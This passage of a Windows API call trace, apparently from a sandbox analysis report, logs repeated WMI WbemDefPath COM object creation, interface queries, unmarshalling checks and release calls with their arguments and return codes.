[5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0140.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b748, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0140.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b748, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c586c8) returned 0x0 [0140.504] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c586c8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.504] WbemDefPath:IUnknown:Release (This=0x5c586c8) returned 0x3 [0140.504] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0140.504] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0140.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b748, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0140.504] WbemDefPath:IUnknown:Release (This=0x37b748) returned 0x2 [0140.504] WbemDefPath:IUnknown:Release (This=0x37b748) returned 0x1 [0140.504] SetEvent (hEvent=0x4e4) returned 1 [0140.506] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c586b8) returned 0x0 [0140.506] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c586b8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0140.506] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c586b8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b6d8) returned 0x0 [0140.506] WbemDefPath:IUnknown:Release (This=0x5c586b8) returned 0x0 [0140.506] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b6d8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b6d8) returned 0x0 [0140.506] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b6d8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0140.507] WbemDefPath:IUnknown:AddRef (This=0x37b6d8) returned 0x3 [0140.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b6d8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0140.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b6d8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0140.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b6d8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c586d8) returned 0x0 [0140.507] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c586d8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.507] WbemDefPath:IUnknown:Release (This=0x5c586d8) returned 0x3 [0140.507] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0140.507] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0140.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b6d8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0140.507] WbemDefPath:IUnknown:Release (This=0x37b6d8) returned 0x2 [0140.507] WbemDefPath:IUnknown:Release (This=0x37b6d8) returned 0x1 [0140.507] SetEvent (hEvent=0x4e8) returned 1 [0140.509] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c586b8) returned 0x0 [0140.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c586b8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0140.509] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c586b8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b668) returned 0x0 [0140.509] WbemDefPath:IUnknown:Release (This=0x5c586b8) returned 0x0 [0140.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b668, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b668) returned 0x0 [0140.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b668, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0140.510] WbemDefPath:IUnknown:AddRef (This=0x37b668) returned 0x3 [0140.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b668, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0140.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b668, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0140.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b668, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c586e8) returned 0x0 [0140.510] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c586e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.510] WbemDefPath:IUnknown:Release (This=0x5c586e8) returned 0x3 [0140.510] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0140.510] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0140.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b668, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0140.510] WbemDefPath:IUnknown:Release (This=0x37b668) returned 0x2 [0140.510] WbemDefPath:IUnknown:Release (This=0x37b668) returned 0x1 [0140.510] SetEvent (hEvent=0x4ec) returned 1 [0142.237] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c58828) returned 0x0 [0142.237] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c58828, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0142.237] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c58828, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37bba8) returned 0x0 [0142.238] WbemDefPath:IUnknown:Release (This=0x5c58828) returned 0x0 [0142.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bba8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37bba8) returned 0x0 [0142.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bba8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0142.238] WbemDefPath:IUnknown:AddRef (This=0x37bba8) returned 0x3 [0142.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bba8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0142.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bba8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0142.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bba8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c58838) returned 0x0 [0142.238] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c58838, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.238] WbemDefPath:IUnknown:Release (This=0x5c58838) returned 0x3 [0142.238] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0142.238] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0142.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bba8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0142.239] WbemDefPath:IUnknown:Release (This=0x37bba8) returned 0x2 [0142.239] WbemDefPath:IUnknown:Release (This=0x37bba8) returned 0x1 [0142.239] SetEvent (hEvent=0x574) returned 1 [0142.263] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c58908) returned 0x0 [0142.264] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c58908, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0142.264] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c58908, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37bc18) returned 0x0 [0142.264] WbemDefPath:IUnknown:Release (This=0x5c58908) returned 0x0 [0142.264] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bc18, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37bc18) returned 0x0 [0142.264] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bc18, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0142.264] WbemDefPath:IUnknown:AddRef (This=0x37bc18) returned 0x3 [0142.264] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bc18, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0142.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bc18, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0142.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bc18, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c58918) returned 0x0 [0142.265] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c58918, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.265] WbemDefPath:IUnknown:Release (This=0x5c58918) returned 0x3 [0142.265] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0142.265] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0142.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bc18, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0142.265] WbemDefPath:IUnknown:Release (This=0x37bc18) returned 0x2 [0142.265] WbemDefPath:IUnknown:Release (This=0x37bc18) returned 0x1 [0142.265] SetEvent (hEvent=0x578) returned 1 [0142.267] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c58908) returned 0x0 [0142.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c58908, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0142.268] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c58908, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37bc88) returned 0x0 [0142.268] WbemDefPath:IUnknown:Release (This=0x5c58908) returned 0x0 [0142.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bc88, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37bc88) returned 0x0 [0142.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bc88, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0142.268] WbemDefPath:IUnknown:AddRef (This=0x37bc88) returned 0x3 [0142.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bc88, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0142.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bc88, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0142.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bc88, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c58928) returned 0x0 [0142.268] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c58928, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.268] WbemDefPath:IUnknown:Release (This=0x5c58928) returned 0x3 [0142.269] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0142.269] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0142.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bc88, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0142.269] WbemDefPath:IUnknown:Release (This=0x37bc88) returned 0x2 [0142.269] WbemDefPath:IUnknown:Release (This=0x37bc88) returned 0x1 [0142.269] SetEvent (hEvent=0x57c) returned 1 [0142.271] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c58908) returned 0x0 [0142.271] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c58908, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0142.271] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c58908, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x5c91c50) returned 0x0 [0142.272] WbemDefPath:IUnknown:Release (This=0x5c58908) returned 0x0 [0142.272] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c91c50, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x5c91c50) returned 0x0 [0142.272] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c91c50, 